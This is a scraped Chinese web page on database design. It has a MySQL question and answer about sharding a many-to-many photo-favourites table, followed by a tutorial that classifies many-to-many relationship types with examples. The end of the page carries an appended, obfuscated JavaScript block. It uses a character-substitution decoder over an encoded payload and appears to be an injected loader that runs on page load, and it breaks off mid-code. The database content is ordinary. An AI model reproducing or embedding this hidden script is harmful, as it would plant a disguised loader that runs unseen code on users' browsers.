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MySQL里面有如下的表
user:id username
photo:id name
photo_favour(图片收藏关系表):photo_id user_id
假设这几个表都相当大,需要进行分表。我的分表规则是:
user表按照id取模,这样user相关的表都可以按照这个取模后的结果来分表;
photo表按照id取模,同样与photo相关的表都可以按该规则分表;
至于photo_favour是一个多对多的关系表,我现在的想法是该表复制多一份,一份以photo_id来分表,一份以user_id分表,分别建立不同的索引,这样就变为两个一对多的关系。
我有两个问题:
1、这样的分表可行吗,有更好的分表方法吗?
2、一对多的关系在进行分表时候,例如user表和user_favour表都按照user_id来取模得到序号x来确定分表。如果1个用户会有100条收藏记录,那么user_x有100W条记录时候user_favour_x分表就有1000W记录,这时候user_favour_x又需要分表了,怎么解决这种情况?
这种情况我会放弃多对多的形式,弄两个表
user_to_photos: user_id, photo_id_list
photo_to_users: photo_id, user_id_list
1个user喜欢的photo id全塞到photo_id_list
1个photo被哪些用户喜欢了,也全塞到user_id_list
这样的读取就高效了很多,,写的时候注意并发脏写。。。同样你根据user_id爱怎么分表就怎么分。
===
如果收藏量太大,还是不能满足,就要考虑切分记录,1个user可以拥有多条记录,每条记录都可记录多个photo id
user_to_photos: user_id, num, photo_id_list
num字段可有可无,如果你需要精确定位user 222 收藏的 photo 333在哪条记录,就需要安排好算法,找到对应的num
大概是这样,重点是算法逻辑
数据库中建表时经常所说一对一、一对多、多对多等等关系究竟是什么意思?分别在什么情况下要用到一对一或一对式,而又在什么情况下又要用到多对多?在这里我们详细分析,并且用实例来讲解各种关系的实际运用!
关联映射:一对多/多对一存在最普遍的映射关系,简单来讲就如球员与球队的关系;一对多:从球队角度来说一个球队拥有多个球员 即为一对多多对一:从球员角度来说多个球员属于一个球队 即为多对一数据表间一对多关系如下图:
关联映射:一对一关系就如球队与球队所在地址之间的关系,一支球队仅有一个地址,而一个地址区也仅有一支球队。数据表间一对一关系的表现有两种,一种是外键关联,一种是主键关联。图示如下:
一对一外键关联:
----------------------------------------------------------------------------------------------------------
前言:多对多关系至少需要3个表,我们把一个表叫做主表,一个叫做关系表,另外一个叫做字典表或者副表(字典表是纪录比较少,而且基本稳定的,例如:版块名称;副表是内容比较多,内容变化的,例如)。
按照数据库的增删查改操作,多对多关系的查找都可以用inner join或者
select * from 主表 where id in (select 主表id from 关系表)
1,角色任命型
特点:关系表两外键组合无重复纪录,关系表一般不需要时间字段和主键,有一个表是字典类型的表。
界面特点:显示主表,用checkbox或多选select设置多选关系。
例如:任命版主(用户表-关系表-版块名称表),角色权限控制等,用户是5个版块版主,只要关系表5行纪录就可以确立,关系表的两个外键具有联合主键性质。
增加关系:如果没有组合纪录,insert之。
删除关系:如果有组合纪录,删除之。
2,集合分组型
特点:同角色任命型类似,关系表两外键组合无重复纪录,关系表一般不需要时间字段和主键。区别是主副表都不是字典表,可能都很大不固定。
界面特点:显示主表,用搜索代替简单的checkbox或多选select,或者一条一条的添加。
例如:歌曲专集(专集表-关系表-歌曲表)。手机分组(分组表-关系表-手机表)。用户圈子(圈子表-关系表-用户表)。文章标签(文章表-关系表-标签表)
增加关系:同版主任命型。
删除关系:同版主任命型。
3,明细帐型
特点:关系表可以有重复纪录,关系表一般有时间字段,有主键,可能还有文字型的字段用来说明每次发生关系的原因(消费)。
界面特点:显示关系表,用radio或下拉设置单选关系。
例如:现金消费明细帐或订单(用户表-订单表-消费原因表),用户可能多次在同一事情上重复消费。积分变化纪录也属于这类。
增加关系:不管有没有组合纪录,insert之,纪录时间。
删除关系:根据关系表PK删除。
4,评论回复型
特点:同明细帐型关系表一般有时间字段,有主键,区别是重点在文字型的字段用来说明每次发生关系的内容(评论回复)。
界面特点:回复文本框。
例如:论坛回复(用户表-回复表-帖子表),用户可能多次在不同帖子上评论回复费。
增加关系:不管有没有组合纪录,insert之,纪录时间和文字。
删除关系:根据关系表(回复表)PK删除。
5,站内短信型
特点:主副表是同一个,关系表一般有时间字段,有主键,重点在关系表文字型的字段用来说明每次发生关系的内容(消息)或者其他标记位来表示文字已读状态时间等。
界面特点:回复文本框。
例如:站内短信(用户表-短信表-用户表),用户可能给用户群发或者单发,有标记位来表示文字已读状态时间等。
增加关系:不管有没有组合纪录,insert之,纪录时间和文字。
删除关系:根据关系表(回复表)PK删除。
6,用户好友型
特点:主副表是同一个,同集合分组型,关系表两外键组合无重复纪录,关系表一般不需要时间字段和主键。
界面特点:同集合分组型,显示主表,用搜索代替简单的checkbox或多选select,或者一条一条的添加。
例如:下载站点的文件,(文件表-关系表-文件表)可以被软件工具打开,软件工具本身也是一种文件,可以被下载。用户的好友,也是用户(用户表-好友关系表-用户表)
增加关系:同版主任命型。
删除关系:同版主任命型。
7,未知属性型
特点:在设计初期,主表的某些字段类型和名称是不确定的时候,关系表实际上是主表的可扩展字段,
一个[主表](ID),
一个[属性名称表](属性ID.属性名称),
一个[属性值表],包括3个字段:
属性值(属性Value varchar(500))
主表ID
属性ID
这样可以作到最小冗余度。
(和常见的多对多关系不同的是:值统一用varchar来存储,因为这类型的值一般不会用来计算)。
比如:
军队的数据库设计中有种物资叫做“战缴物资”,就是打仗的时候缴获的,军队自己都不知道这些物资有什么属性。
比如缴获的化学品有化学名,通用名,是否有辐射,计量单位,包装规格,数量等等,或者不是化学品是其他任何未知的东西。
这样东西就可以
某奇怪东西.属性集合["某某奇怪属性名"]="某某奇怪值";
某变态东西.属性集合["某某变态属性名"]="某某变态值";
这样存储。
再比如:
手机型号有几千种,除了共同属性外还有不同属性有几百个,属性名和值类型都不一样,有的手机有这属性,有的没有。
对于这样的“多态”,我们就采用上面的设计结构。
其效果相当于:
某奇怪手机.属性集合["某某奇怪属性名"]="某某奇怪值";
某变态手机.属性集合["某某变态属性名"]="某某变态值";
界面特点:设置主表一行纪录的属性时候,要列出所有可能的属性名称,每个对应一个文本框。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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